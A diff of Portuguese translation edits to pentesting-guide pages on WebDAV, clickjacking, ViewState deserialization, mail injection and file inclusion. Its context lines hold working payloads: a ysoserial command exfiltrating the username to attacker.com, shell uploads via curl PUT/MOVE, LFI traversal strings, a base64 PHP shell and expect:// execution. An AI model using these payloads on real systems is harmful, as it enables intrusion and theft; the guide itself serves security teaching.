cabeçalhos -A partir de [**este thread do twitter**](https://twitter.com/pilvar222/status/1784618120902005070?t=xYn7KdyIvnNOlkVaGbgL6A&s=19) você pode ver que enviar mais de 1000 parâmetros GET ou 1000 parâmetros POST ou 20 arquivos, o PHP não vai definir cabeçalhos na resposta. +Do [**este thread do twitter**](https://twitter.com/pilvar222/status/1784618120902005070?t=xYn7KdyIvnNOlkVaGbgL6A&s=19) você pode ver que enviar mais de 1000 parâmetros GET ou 1000 parâmetros POST ou 20 arquivos, o PHP não vai definir cabeçalhos na resposta. -Permitindo contornar, por exemplo, cabeçalhos CSP que estão sendo definidos em códigos como: +Permitindo contornar, por exemplo, cabeçalhos CSP sendo definidos em códigos como: ```php ``` -## Solicitação PUT +## Requisição PUT ``` curl -T 'shell.txt' 'http://$ip' ``` -## Solicitação MOVE +## MOVE request ```bash curl -X MOVE --header 'Destination:http://$ip/shell.php' 'http://$ip/shell.txt' ``` -## Vulnerabilidade do WebDav IIS5/6 +## IIS5/6 WebDav Vulnerability -Esta vulnerabilidade é muito interessante. O **WebDav** **não permite** **carregar** ou **renomear** arquivos com a extensão **.asp**. Mas você pode **contornar** isso **adicionando** no final do nome **";.txt"** e o arquivo será **executado** como se fosse um arquivo .asp (você também poderia **usar ".html" em vez de ".txt"**, mas **NÃO se esqueça do ";"**). +Esta vulnerabilidade é muito interessante. O **WebDav** **não permite** **carregar** ou **renomear** arquivos com a extensão **.asp**. Mas você pode **contornar** isso **adicionando** no final do nome **";.txt"** e o arquivo será **executado** como se fosse um arquivo .asp (você também poderia **usar ".html" em vez de ".txt"** mas **NÃO se esqueça do ";"**). -Então você pode **carregar** seu shell como um arquivo ".**txt" e **copiá-lo/movê-lo para um arquivo ".asp;.txt"**. Ao acessar esse arquivo através do servidor web, ele será **executado** (o cadaver dirá que a ação de mover não funcionou, mas funcionou). +Então você pode **carregar** seu shell como um arquivo ".**txt"** e **copiá-lo/movê-lo para um arquivo ".asp;.txt"**. Ao acessar esse arquivo através do servidor web, ele será **executado** (o cadaver dirá que a ação de mover não funcionou, mas funcionou). ![](<../../images/image (1092).png>) -## Credenciais pós +## Post credentials -Se o Webdav estiver usando um servidor Apache, você deve verificar os sites configurados no Apache. Comumente:\ -\&#xNAN;_**/etc/apache2/sites-enabled/000-default**_ +Se o Webdav estiver usando um servidor Apache, você deve olhar os sites configurados no Apache. Comumente:\ +\_**/etc/apache2/sites-enabled/000-default**_ -Dentro dele, você pode encontrar algo como: +Dentro dele você poderia encontrar algo como: ``` ServerAdmin webmaster@localhost Alias /webdav /var/www/webdav @@ -65,9 +65,9 @@ Como você pode ver, há os arquivos com as **credenciais** válidas para o serv ``` /etc/apache2/users.password ``` -Dentro deste tipo de arquivos, você encontrará o **username** e um **hash** da senha. Essas são as credenciais que o servidor webdav está usando para autenticar usuários. +Dentro deste tipo de arquivos, você encontrará o **username** e um **hash** da senha. Estas são as credenciais que o servidor webdav está usando para autenticar usuários. -Você pode tentar **crack**-á-los, ou **adicionar mais** se por algum motivo você quiser **acessar** o servidor **webdav**: +Você pode tentar **crack** them, ou **add more** se por algum motivo você quiser **access** o servidor **webdav**: ```bash htpasswd /etc/apache2/users.password #You will be prompted for the password ``` diff --git a/src/pentesting-web/clickjacking.md b/src/pentesting-web/clickjacking.md index 36f62adc2..c9a326d0c 100644 --- a/src/pentesting-web/clickjacking.md +++ b/src/pentesting-web/clickjacking.md @@ -91,7 +91,7 @@ background: #F00; Se você identificou um **ataque XSS que requer que um usuário clique** em algum elemento para **disparar** o XSS e a página é **vulnerável a clickjacking**, você pode abusar disso para enganar o usuário a clicar no botão/link.\ Exemplo:\ -&#xNAN;_You encontrou um **self XSS** em alguns detalhes privados da conta (detalhes que **apenas você pode definir e ler**). A página com o **formulário** para definir esses detalhes é **vulnerável** a **Clickjacking** e você pode **preencher** o **formulário** com os parâmetros GET._\ +_You encontrou um **self XSS** em alguns detalhes privados da conta (detalhes que **apenas você pode definir e ler**). A página com o **formulário** para definir esses detalhes é **vulnerável** a **Clickjacking** e você pode **preencher** o **formulário** com os parâmetros GET._\ \_\_Um atacante poderia preparar um **ataque Clickjacking** para essa página **preenchendo** o **formulário** com a **carga útil XSS** e **enganando** o **usuário** a **enviar** o formulário. Assim, **quando o formulário é enviado** e os valores são modificados, o **usuário executará o XSS**. ## Estratégias para Mitigar Clickjacking @@ -100,7 +100,7 @@ Exemplo:\ Scripts executados no lado do cliente podem realizar ações para prevenir Clickjacking: -- Garantir que a janela da aplicação seja a principal ou a superior. +- Garantir que a janela da aplicação seja a principal ou a janela superior. - Tornar todos os frames visíveis. - Prevenir cliques em frames invisíveis. - Detectar e alertar os usuários sobre possíveis tentativas de Clickjacking. @@ -155,7 +155,7 @@ Content-Security-Policy: frame-src 'self' https://trusted-website.com; ``` Esta política permite frames da mesma origem (self) e https://trusted-website.com. -#### Diretiva `child-src` +#### Diretriz `child-src` - Introduzida no nível 2 do CSP para definir fontes válidas para web workers e frames. - Funciona como um fallback para frame-src e worker-src. @@ -166,8 +166,8 @@ Esta política permite frames e workers da mesma origem (self) e https://trusted **Notas de Uso:** -- Depreciação: child-src está sendo descontinuado em favor de frame-src e worker-src. -- Comportamento de Fallback: Se frame-src estiver ausente, child-src é usado como fallback para frames. Se ambos estiverem ausentes, default-src é usado. +- Descontinuação: child-src está sendo descontinuado em favor de frame-src e worker-src. +- Comportamento de Retorno: Se frame-src estiver ausente, child-src é usado como um retorno para frames. Se ambos estiverem ausentes, default-src é usado. - Definição Estrita de Fonte: Inclua apenas fontes confiáveis nas diretrizes para evitar exploração. #### Scripts de Quebra de Frame em JavaScript diff --git a/src/pentesting-web/deserialization/exploiting-__viewstate-parameter.md b/src/pentesting-web/deserialization/exploiting-__viewstate-parameter.md index f07c98119..ba725327c 100644 --- a/src/pentesting-web/deserialization/exploiting-__viewstate-parameter.md +++ b/src/pentesting-web/deserialization/exploiting-__viewstate-parameter.md @@ -2,6 +2,8 @@ {{#include ../../banners/hacktricks-training.md}} + + ## O que é ViewState **ViewState** serve como o mecanismo padrão no ASP.NET para manter dados de página e controle entre páginas da web. Durante a renderização do HTML de uma página, o estado atual da página e os valores a serem preservados durante um postback são serializados em strings codificadas em base64. Essas strings são então colocadas em campos ViewState ocultos. @@ -19,7 +21,7 @@ As informações do ViewState podem ser caracterizadas pelas seguintes proprieda A imagem é uma tabela detalhando diferentes configurações para ViewState no ASP.NET com base na versão do framework .NET. Aqui está um resumo do conteúdo: -1. Para **qualquer versão do .NET**, quando tanto o MAC quanto a Criptografia estão desativados, uma MachineKey não é necessária, e, portanto, não há método aplicável para identificá-la. +1. Para **qualquer versão do .NET**, quando tanto o MAC quanto a Criptografia estão desativados, uma MachineKey não é necessária, e, portanto, não há um método aplicável para identificá-la. 2. Para **versões abaixo de 4.5**, se o MAC estiver ativado, mas a Criptografia não, uma MachineKey é necessária. O método para identificar a MachineKey é referido como "Blacklist3r." 3. Para **versões abaixo de 4.5**, independentemente de o MAC estar ativado ou desativado, se a Criptografia estiver ativada, uma MachineKey é necessária. Identificar a MachineKey é uma tarefa para "Blacklist3r - Desenvolvimento Futuro." 4. Para **versões 4.5 e superiores**, todas as combinações de MAC e Criptografia (se ambos forem true, ou um for true e o outro false) necessitam de uma MachineKey. A MachineKey pode ser identificada usando "Blacklist3r." @@ -36,10 +38,10 @@ Você pode tentar identificar se o ViewState está protegido por MAC capturando ``` ysoserial.exe -o base64 -g TypeConfuseDelegate -f ObjectStateFormatter -c "powershell.exe Invoke-WebRequest -Uri http://attacker.com/$env:UserName" ``` -### Test case 1.5 – Como o Test case 1, mas o cookie ViewState não é enviado pelo servidor +### Test case 1.5 – Like Test case 1 but the ViewState cookie isn't sent by the server Os desenvolvedores podem **remover ViewState** de se tornar parte de uma solicitação HTTP (o usuário não receberá esse cookie).\ -Pode-se supor que se **ViewState** **não estiver presente**, sua implementação está **segura** contra quaisquer vulnerabilidades potenciais decorrentes da desserialização do ViewState.\ +Pode-se supor que se **ViewState** **não estiver presente**, sua implementação está **segura** de quaisquer vulnerabilidades potenciais decorrentes da desserialização do ViewState.\ No entanto, esse não é o caso. Se adicionarmos o **parâmetro ViewState** ao corpo da solicitação e enviarmos nossa carga útil serializada criada usando ysoserial, ainda seremos capazes de alcançar **execução de código** como mostrado no **Caso 1**. ### Test Case: 2 – .Net < 4.5 e EnableViewStateMac=true & ViewStateEncryptionMode=false @@ -59,7 +61,7 @@ Podemos também fazer isso para a **aplicação** **geral** configurando-o no ar ``` -Como o parâmetro é protegido por MAC, desta vez, para executar o ataque com sucesso, precisamos primeiro da chave utilizada. +Como o parâmetro está protegido por MAC, desta vez, para executar o ataque com sucesso, precisamos primeiro da chave utilizada. Você pode tentar usar [**Blacklist3r(AspDotNetWrapper.exe)** ](https://github.com/NotSoSecure/Blacklist3r/tree/master/MachineKey/AspDotNetWrapper) para encontrar a chave utilizada. ``` @@ -68,7 +70,7 @@ AspDotNetWrapper.exe --keypath MachineKeys.txt --encrypteddata /wEPDwUKLTkyMTY0M --encrypteddata : __VIEWSTATE parameter value of the target application --modifier : __VIWESTATEGENERATOR parameter value ``` -[**Badsecrets**](https://github.com/blacklanternsecurity/badsecrets) é outra ferramenta que pode identificar machineKeys conhecidos. É escrita em Python, então, ao contrário do Blacklist3r, não há dependência do Windows. Para viewstates do .NET, há um utilitário "python blacklist3r", que é a maneira mais rápida de usá-lo. +[**Badsecrets**](https://github.com/blacklanternsecurity/badsecrets) é outra ferramenta que pode identificar machineKeys conhecidos. É escrita em Python, então, ao contrário do Blacklist3r, não há dependência do Windows. Para viewstates .NET, há um utilitário "python blacklist3r", que é a maneira mais rápida de usá-lo. Ele pode ser fornecido com o viewstate e o gerador diretamente: ``` @@ -104,19 +106,19 @@ Nos casos em que o parâmetro `_VIEWSTATEGENERATOR` **não é enviado** pelo ser ```bash --apppath="/" --path="/hello.aspx" ``` -### Caso de Teste: 3 – .Net < 4.5 e EnableViewStateMac=true/false e ViewStateEncryptionMode=true +### Test Case: 3 – .Net < 4.5 e EnableViewStateMac=true/false e ViewStateEncryptionMode=true Neste caso, não se sabe se o parâmetro está protegido com MAC. Então, o valor provavelmente está criptografado e você **precisará da Machine Key para criptografar seu payload** para explorar a vulnerabilidade. **Neste caso, o** [**Blacklist3r**](https://github.com/NotSoSecure/Blacklist3r/tree/master/MachineKey/AspDotNetWrapper) **módulo está em desenvolvimento...** -**Antes do .NET 4.5**, o ASP.NET pode **aceitar** um parâmetro \_`__VIEWSTATE`\_ **não criptografado** dos usuários **mesmo** que **`ViewStateEncryptionMode`** tenha sido definido como _**Sempre**_. O ASP.NET **apenas verifica** a **presença** do parâmetro **`__VIEWSTATEENCRYPTED`** na solicitação. **Se alguém remover este parâmetro e enviar o payload não criptografado, ele ainda será processado.** +**Antes do .NET 4.5**, o ASP.NET pode **aceitar** um parâmetro \_`__VIEWSTATE`\_ **não criptografado** dos usuários **mesmo** que **`ViewStateEncryptionMode`** tenha sido definido como _**Always**_. O ASP.NET **apenas verifica** a **presença** do parâmetro **`__VIEWSTATEENCRYPTED`** na solicitação. **Se um remover este parâmetro e enviar o payload não criptografado, ele ainda será processado.** Portanto, se os atacantes encontrarem uma maneira de obter a Machinekey através de outra vulnerabilidade, como travessia de diretórios, o comando [**YSoSerial.Net**](https://github.com/pwntester/ysoserial.net) usado no **Caso 2** pode ser utilizado para realizar RCE usando a vulnerabilidade de desserialização do ViewState. - Remova o parâmetro `__VIEWSTATEENCRYPTED` da solicitação para explorar a vulnerabilidade de desserialização do ViewState, caso contrário, retornará um erro de validação de MAC do Viewstate e a exploração falhará. -### Caso de Teste: 4 – .Net >= 4.5 e EnableViewStateMac=true/false e ViewStateEncryptionMode=true/false exceto ambos os atributos como false +### Test Case: 4 – .Net >= 4.5 e EnableViewStateMac=true/false e ViewStateEncryptionMode=true/false, exceto ambos os atributos como false Podemos forçar o uso do framework ASP.NET especificando o parâmetro abaixo dentro do arquivo web.config, conforme mostrado abaixo. ```xml @@ -153,7 +155,7 @@ Se você tiver o valor de `__VIEWSTATEGENERATOR`, pode tentar **usar** o parâme ![](https://notsosecure.com/sites/all/assets/group/nss_uploads/2019/06/4.2.png) -Uma exploração bem-sucedida da vulnerabilidade de desserialização do ViewState levará a uma solicitação fora de banda para um servidor controlado pelo atacante, que inclui o nome de usuário. Esse tipo de exploit é demonstrado em uma prova de conceito (PoC) que pode ser encontrada em um recurso intitulado "Exploiting ViewState Deserialization using Blacklist3r and YsoSerial.NET". Para mais detalhes sobre como o processo de exploração funciona e como utilizar ferramentas como Blacklist3r para identificar o MachineKey, você pode revisar a [PoC de Exploração Bem-Sucedida](https://www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/#PoC). +Uma exploração bem-sucedida da vulnerabilidade de desserialização do ViewState resultará em uma solicitação fora de banda para um servidor controlado pelo atacante, que inclui o nome de usuário. Esse tipo de exploit é demonstrado em uma prova de conceito (PoC) que pode ser encontrada em um recurso intitulado "Exploiting ViewState Deserialization using Blacklist3r and YsoSerial.NET". Para mais detalhes sobre como o processo de exploração funciona e como utilizar ferramentas como Blacklist3r para identificar o MachineKey, você pode revisar a [PoC de Exploração Bem-Sucedida](https://www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/#PoC). ### Caso de Teste 6 – ViewStateUserKeys está sendo usado @@ -171,10 +173,8 @@ Verifique [mais informações aqui]( $additional_parameters ] ``` #### O 5º parâmetro ($additional_parameters) -Esta seção será baseada em **como abusar deste parâmetro supondo que um atacante o controla**. +Esta seção será baseada em **como abusar deste parâmetro supondo que um atacante o controle**. Este parâmetro será adicionado à linha de comando que o PHP usará para invocar o binário sendmail. No entanto, ele será sanitizado com a função `escapeshellcmd($additional_parameters)`. @@ -62,7 +62,7 @@ Aqui estão alguns exemplos de diferentes páginas de manual do comando/interfac - Postfix MTA: http://www.postfix.org/mailq.1.html - Exim MTA: https://linux.die.net/man/8/eximReferences -Dependendo da **origem do binário sendmail**, diferentes opções foram descobertas para abusar delas e **vazar arquivos ou até executar comandos arbitrários**. Confira como em [**https://exploitbox.io/paper/Pwning-PHP-Mail-Function-For-Fun-And-RCE.html**](https://exploitbox.io/paper/Pwning-PHP-Mail-Function-For-Fun-And-RCE.html) +Dependendo da **origem do binário sendmail**, diferentes opções foram descobertas para abusar delas e **vazar arquivos ou até mesmo executar comandos arbitrários**. Confira como em [**https://exploitbox.io/paper/Pwning-PHP-Mail-Function-For-Fun-And-RCE.html**](https://exploitbox.io/paper/Pwning-PHP-Mail-Function-For-Fun-And-RCE.html) ## Injetar no nome do e-mail @@ -98,14 +98,14 @@ Você também pode usar IPs como nomes de domínio entre colchetes: Como explicado em [**esta pesquisa**](https://portswigger.net/research/splitting-the-email-atom), nomes de e-mail também podem conter caracteres codificados: -- **PHP 256 overflow**: A função `chr` do PHP continuará adicionando 256 a um caractere até que se torne positivo e então fará a operação `%256`. +- **Overflow de PHP 256**: A função `chr` do PHP continuará adicionando 256 a um caractere até que se torne positivo e então fará a operação `%256`. - `String.fromCodePoint(0x10000 + 0x40) // 𐁀 → @` > [!TIP] > O objetivo deste truque é terminar com uma injeção como `RCPT TO:<"collab@psres.net>collab"@example.com>`\ > que enviará o e-mail de verificação para um endereço de e-mail diferente do esperado (portanto, introduzir outro endereço de e-mail dentro do nome do e-mail e quebrar a sintaxe ao enviar o e-mail). -Codificações diferentes: +Diferentes codificações: ```bash # Format =? utf-8 ? q ? =41=42=43 ?= hi@example.com --> ABChi@example.com @@ -140,42 +140,42 @@ Payloads: - Note o `@` codificado como =40, o `>` codificado como `=3e` e `null` como `=00` - Ele enviará o e-mail de verificação para `collab@psres.net` - Zendesk: `"=?x?q?collab=22=40psres.net=3e=00==3c22x?="@example.com` -- O mesmo truque de antes, mas adicionando uma citação regular no início e a citação codificada `=22` antes do `@` codificado e, em seguida, iniciando e fechando algumas citações antes do próximo e-mail para corrigir a sintaxe usada internamente pelo Zendesk +- Mesma técnica de antes, mas adicionando uma citação regular no início e a citação codificada `=22` antes do `@` codificado e, em seguida, iniciando e fechando algumas citações antes do próximo e-mail para corrigir a sintaxe usada internamente pelo Zendesk - Ele enviará o e-mail de verificação para `collab@psres.net` - Gitlab: `=?x?q?collab=40psres.net_?=foo@example.com` - Note o uso do sublinhado como um espaço para separar o endereço - Ele enviará o e-mail de verificação para `collab@psres.net` - Punycode: Usando Punycode, foi possível injetar uma tag `) -## SSO de terceiros +## Third party SSO ### XSS -Alguns serviços como **github** ou **salesforce permitem** que você crie um **endereço de e-mail com cargas XSS nele**. Se você puder **usar esses provedores para fazer login em outros serviços** e esses serviços **não estiverem sanitizando** corretamente o e-mail, você pode causar **XSS**. +Alguns serviços como **github** ou **salesforce permitem** que você crie um **endereço de e-mail com payloads XSS nele**. Se você puder **usar esses provedores para fazer login em outros serviços** e esses serviços **não estiverem sanitizando** corretamente o e-mail, você pode causar **XSS**. -### Tomada de Conta +### Account-Takeover -Se um **serviço SSO** permitir que você **crie uma conta sem verificar o endereço de e-mail fornecido** (como **salesforce**) e depois você puder usar essa conta para **fazer login em um serviço diferente** que **confia** na salesforce, você poderá acessar qualquer conta.\ -&#xNAN;_Note que a salesforce indica se o e-mail fornecido foi ou não verificado, mas a aplicação deve levar em conta essa informação._ +Se um **serviço SSO** permitir que você **crie uma conta sem verificar o endereço de e-mail fornecido** (como **salesforce**) e depois você puder usar essa conta para **fazer login em um serviço diferente** que **confia** no salesforce, você poderá acessar qualquer conta.\ +_Note que o salesforce indica se o e-mail fornecido foi ou não verificado, mas a aplicação deve levar em conta essa informação._ -## Responder-A +## Reply-To Você pode enviar um e-mail usando _**From: company.com**_ e _**Replay-To: attacker.com**_ e se qualquer **resposta automática** for enviada devido ao e-mail ter sido enviado **de** um **endereço interno**, o **atacante** pode ser capaz de **receber** essa **resposta**. -## Taxa de Hard Bounce +## Hard Bounce Rate -Certos serviços, como AWS, implementam um limite conhecido como **Taxa de Hard Bounce**, tipicamente definida em 10%. Esta é uma métrica crítica, especialmente para serviços de entrega de e-mail. Quando essa taxa é excedida, o serviço, como o serviço de e-mail da AWS, pode ser suspenso ou bloqueado. +Certos serviços, como AWS, implementam um limite conhecido como **Hard Bounce Rate**, tipicamente definido em 10%. Esta é uma métrica crítica, especialmente para serviços de entrega de e-mail. Quando essa taxa é excedida, o serviço, como o serviço de e-mail da AWS, pode ser suspenso ou bloqueado. -Um **hard bounce** refere-se a um **e-mail** que foi devolvido ao remetente porque o endereço do destinatário é inválido ou não existe. Isso pode ocorrer por várias razões, como o **e-mail** sendo enviado para um endereço inexistente, um domínio que não é real, ou a recusa do servidor do destinatário em aceitar **e-mails**. +Um **hard bounce** refere-se a um **e-mail** que foi retornado ao remetente porque o endereço do destinatário é inválido ou não existe. Isso pode ocorrer por várias razões, como o **e-mail** sendo enviado para um endereço inexistente, um domínio que não é real, ou a recusa do servidor do destinatário em aceitar **e-mails**. No contexto da AWS, se você enviar 1000 e-mails e 100 deles resultarem em hard bounces (devido a razões como endereços ou domínios inválidos), isso significaria uma taxa de hard bounce de 10%. Atingir ou exceder essa taxa pode fazer com que o AWS SES (Simple Email Service) bloqueie ou suspenda suas capacidades de envio de e-mail. @@ -183,7 +183,7 @@ No contexto da AWS, se você enviar 1000 e-mails e 100 deles resultarem em hard Para informações mais detalhadas, a documentação oficial da AWS sobre como lidar com bounces e reclamações pode ser consultada em [AWS SES Bounce Handling](https://docs.aws.amazon.com/ses/latest/DeveloperGuide/notification-contents.html#bounce-types). -## Referências +## References - [https://resources.infosecinstitute.com/email-injection/](https://resources.infosecinstitute.com/email-injection/) - [https://exploitbox.io/paper/Pwning-PHP-Mail-Function-For-Fun-And-RCE.html](https://exploitbox.io/paper/Pwning-PHP-Mail-Function-For-Fun-And-RCE.html) diff --git a/src/pentesting-web/file-inclusion/README.md b/src/pentesting-web/file-inclusion/README.md index c260dd9d8..493fdc3c1 100644 --- a/src/pentesting-web/file-inclusion/README.md +++ b/src/pentesting-web/file-inclusion/README.md @@ -61,7 +61,7 @@ http://some.domain.com/static/%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/etc/passwd ``` ### **Null byte (%00)** -Bypass o anexo de mais caracteres no final da string fornecida (bypass de: $\_GET\['param']."php") +Ignorar a adição de mais caracteres no final da string fornecida (bypass de: $\_GET\['param']."php") ``` http://example.com/index.php?page=../../../etc/passwd%00 ``` @@ -86,7 +86,7 @@ http://example.com/index.php?page=utils/scripts/../../../../../etc/passwd O sistema de arquivos de um servidor pode ser explorado recursivamente para identificar diretórios, não apenas arquivos, empregando certas técnicas. Este processo envolve determinar a profundidade do diretório e sondar a existência de pastas específicas. Abaixo está um método detalhado para alcançar isso: -1. **Determinar a Profundidade do Diretório:** Aferir a profundidade do seu diretório atual ao buscar com sucesso o arquivo `/etc/passwd` (aplicável se o servidor for baseado em Linux). Um exemplo de URL pode ser estruturado da seguinte forma, indicando uma profundidade de três: +1. **Determinar a Profundidade do Diretório:** Verifique a profundidade do seu diretório atual buscando com sucesso o arquivo `/etc/passwd` (aplicável se o servidor for baseado em Linux). Um exemplo de URL pode ser estruturado da seguinte forma, indicando uma profundidade de três: ```bash http://example.com/index.php?page=../../../etc/passwd # depth of 3 ``` @@ -153,7 +153,7 @@ Se por algum motivo **`allow_url_include`** está **Ativado**, mas o PHP está * PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.txt ``` > [!NOTE] -> No código anterior, o final `+.txt` foi adicionado porque o atacante precisava de uma string que terminasse em `.txt`, então a string termina com isso e após a decodificação b64, essa parte retornará apenas lixo e o verdadeiro código PHP será incluído (e, portanto, executado). +> No código anterior, o final `+.txt` foi adicionado porque o atacante precisava de uma string que terminasse em `.txt`, então a string termina com isso e, após a decodificação b64, essa parte retornará apenas lixo e o verdadeiro código PHP será incluído (e, portanto, executado). Outro exemplo **não usando o protocolo `php://`** seria: ``` @@ -181,7 +181,7 @@ Parece que se você tiver uma Path Traversal em Java e **pedir um diretório** e ## Top 25 parameters -Aqui está uma lista dos 25 principais parâmetros que podem ser vulneráveis a vulnerabilidades de inclusão de arquivo local (LFI) (de [link](https://twitter.com/trbughunters/status/1279768631845494787)): +Aqui está uma lista dos 25 principais parâmetros que podem ser vulneráveis a vulnerabilidades de inclusão de arquivos locais (LFI) (de [link](https://twitter.com/trbughunters/status/1279768631845494787)): ``` ?cat={payload} ?dir={payload} @@ -269,18 +269,18 @@ readfile('php://filter/zlib.inflate/resource=test.deflated'); #To decompress the # note that PHP protocol is case-inselective (that's mean you can use "PhP://" and any other varient) ``` > [!WARNING] -> A parte "php://filter" é insensível a maiúsculas +> A parte "php://filter" é insensível a maiúsculas e minúsculas ### Usando filtros php como oráculo para ler arquivos arbitrários -[**Neste post**](https://www.synacktiv.com/publications/php-filter-chains-file-read-from-error-based-oracle) é proposta uma técnica para ler um arquivo local sem que a saída seja retornada pelo servidor. Esta técnica é baseada em uma **exfiltração booleana do arquivo (caractere por caractere) usando filtros php** como oráculo. Isso ocorre porque os filtros php podem ser usados para aumentar um texto o suficiente para que o php lance uma exceção. +[**Neste post**](https://www.synacktiv.com/publications/php-filter-chains-file-read-from-error-based-oracle) é proposta uma técnica para ler um arquivo local sem que a saída seja retornada pelo servidor. Esta técnica é baseada em uma **exfiltração booleana do arquivo (caractere por caractere) usando filtros php** como oráculo. Isso ocorre porque os filtros php podem ser usados para aumentar o texto o suficiente para que o php lance uma exceção. No post original, você pode encontrar uma explicação detalhada da técnica, mas aqui está um resumo rápido: - Use o codec **`UCS-4LE`** para deixar o caractere inicial do texto no início e fazer o tamanho da string aumentar exponencialmente. - Isso será usado para gerar um **texto tão grande quando a letra inicial for adivinhada corretamente** que o php acionará um **erro**. - O filtro **dechunk** irá **remover tudo se o primeiro caractere não for um hexadecimal**, então podemos saber se o primeiro caractere é hexadecimal. -- Isso, combinado com o anterior (e outros filtros dependendo da letra adivinhada), nos permitirá adivinhar uma letra no início do texto ao ver quando fazemos transformações suficientes para que não seja mais um caractere hexadecimal. Porque se for hexadecimal, o dechunk não o deletará e a bomba inicial fará o php gerar um erro. +- Isso, combinado com o anterior (e outros filtros dependendo da letra adivinhada), nos permitirá adivinhar uma letra no início do texto ao ver quando fazemos transformações suficientes para que não seja um caractere hexadecimal. Porque se for hexadecimal, o dechunk não o deletará e a bomba inicial fará o php gerar um erro. - O codec **convert.iconv.UNICODE.CP930** transforma cada letra na seguinte (então após este codec: a -> b). Isso nos permite descobrir se a primeira letra é um `a`, por exemplo, porque se aplicarmos 6 desse codec a->b->c->d->e->f->g a letra não é mais um caractere hexadecimal, portanto o dechunk não a deletou e o erro do php é acionado porque se multiplica com a bomba inicial. - Usando outras transformações como **rot13** no início, é possível vazar outros caracteres como n, o, p, q, r (e outros codecs podem ser usados para mover outras letras para a faixa hexadecimal). - Quando o caractere inicial é um número, é necessário codificá-lo em base64 e vazar as 2 primeiras letras para vazar o número. @@ -301,7 +301,7 @@ Você também pode usar **php://stdin, php://stdout e php://stderr** para acessa ### zip:// e rar:// Carregue um arquivo Zip ou Rar com um PHPShell dentro e acesse-o.\ -Para poder abusar do protocolo rar, **ele precisa ser ativado especificamente**. +Para poder abusar do protocolo rar, ele **precisa ser ativado especificamente**. ```bash echo "
" > payload.php; zip payload.zip payload.php; @@ -330,7 +330,7 @@ Observe que este protocolo é restrito pelas configurações do php **`allow_url ### expect:// -O Expect deve ser ativado. Você pode executar código usando isto: +Expect deve ser ativado. Você pode executar código usando isto: ``` http://example.com/index.php?page=expect://id http://example.com/index.php?page=expect://ls @@ -382,10 +382,10 @@ Verifique mais possíveis [**protocolos para incluir aqui**](https://www.php.net - [file://](https://www.php.net/manual/en/wrappers.file.php) — Acessando o sistema de arquivos local - [http://](https://www.php.net/manual/en/wrappers.http.php) — Acessando URLs HTTP(s) - [ftp://](https://www.php.net/manual/en/wrappers.ftp.php) — Acessando URLs FTP(s) -- [zlib://](https://www.php.net/manual/en/wrappers.compression.php) — Fluxos de Compressão +- [zlib://](https://www.php.net/manual/en/wrappers.compression.php) — Streams de Compressão - [glob://](https://www.php.net/manual/en/wrappers.glob.php) — Encontrar nomes de caminho que correspondem ao padrão (não retorna nada imprimível, então não é realmente útil aqui) - [ssh2://](https://www.php.net/manual/en/wrappers.ssh2.php) — Secure Shell 2 -- [ogg://](https://www.php.net/manual/en/wrappers.audio.php) — Fluxos de áudio (não útil para ler arquivos arbitrários) +- [ogg://](https://www.php.net/manual/en/wrappers.audio.php) — Streams de áudio (não útil para ler arquivos arbitrários) ## LFI via 'assert' do PHP @@ -410,13 +410,13 @@ Da mesma forma, para executar comandos de sistema arbitrários, pode-se usar: > [!WARNING] > Esta técnica é relevante em casos onde você **controla** o **caminho do arquivo** de uma **função PHP** que irá **acessar um arquivo**, mas você não verá o conteúdo do arquivo (como uma chamada simples para **`file()`**) e o conteúdo não é exibido. -Em [**este post incrível**](https://www.synacktiv.com/en/publications/php-filter-chains-file-read-from-error-based-oracle.html) é explicado como uma travessia de caminho cega pode ser abusada via filtro PHP para **exfiltrar o conteúdo de um arquivo via um oráculo de erro**. +Em [**este post incrível**](https://www.synacktiv.com/en/publications/php-filter-chains-file-read-from-error-based-oracle.html) é explicado como uma travessia de caminho cega pode ser abusada via filtro PHP para **exfiltrar o conteúdo de um arquivo através de um oráculo de erro**. Em resumo, a técnica usa a **"codificação UCS-4LE"** para tornar o conteúdo de um arquivo tão **grande** que a **função PHP que abre** o arquivo irá disparar um **erro**. -Então, para vazar o primeiro caractere, o filtro **`dechunk`** é usado junto com outros como **base64** ou **rot13** e, finalmente, os filtros **convert.iconv.UCS-4.UCS-4LE** e **convert.iconv.UTF16.UTF-16BE** são usados para **colocar outros caracteres no início e vazá-los**. +Então, para vazar o primeiro caractere, o filtro **`dechunk`** é usado junto com outros como **base64** ou **rot13** e finalmente os filtros **convert.iconv.UCS-4.UCS-4LE** e **convert.iconv.UTF16.UTF-16BE** são usados para **colocar outros caracteres no início e vazá-los**. -**Funções que podem ser vulneráveis**: `file_get_contents`, `readfile`, `finfo->file`, `getimagesize`, `md5_file`, `sha1_file`, `hash_file`, `file`, `parse_ini_file`, `copy`, `file_put_contents (apenas alvo de leitura com isso)`, `stream_get_contents`, `fgets`, `fread`, `fgetc`, `fgetcsv`, `fpassthru`, `fputs` +**Funções que podem ser vulneráveis**: `file_get_contents`, `readfile`, `finfo->file`, `getimagesize`, `md5_file`, `sha1_file`, `hash_file`, `file`, `parse_ini_file`, `copy`, `file_put_contents (apenas alvo somente leitura com isso)`, `stream_get_contents`, `fgets`, `fread`, `fgetc`, `fgetcsv`, `fpassthru`, `fputs` Para os detalhes técnicos, verifique o post mencionado! @@ -428,14 +428,14 @@ Explicado anteriormente, [**siga este link**](#remote-file-inclusion). ### Via arquivo de log do Apache/Nginx -Se o servidor Apache ou Nginx for **vulnerável a LFI** dentro da função include, você pode tentar acessar **`/var/log/apache2/access.log` ou `/var/log/nginx/access.log`**, definindo dentro do **user agent** ou dentro de um **parâmetro GET** um shell PHP como **``** e incluir esse arquivo. +Se o servidor Apache ou Nginx for **vulnerável a LFI** dentro da função de inclusão, você pode tentar acessar **`/var/log/apache2/access.log` ou `/var/log/nginx/access.log`**, definindo dentro do **user agent** ou dentro de um **parâmetro GET** um shell PHP como **``** e incluir esse arquivo. > [!WARNING] > Note que **se você usar aspas duplas** para o shell em vez de **aspas simples**, as aspas duplas serão modificadas para a string "_**quote;**_", **PHP lançará um erro** lá e **nada mais será executado**. > -> Além disso, certifique-se de **escrever corretamente a carga** ou o PHP dará erro toda vez que tentar carregar o arquivo de log e você 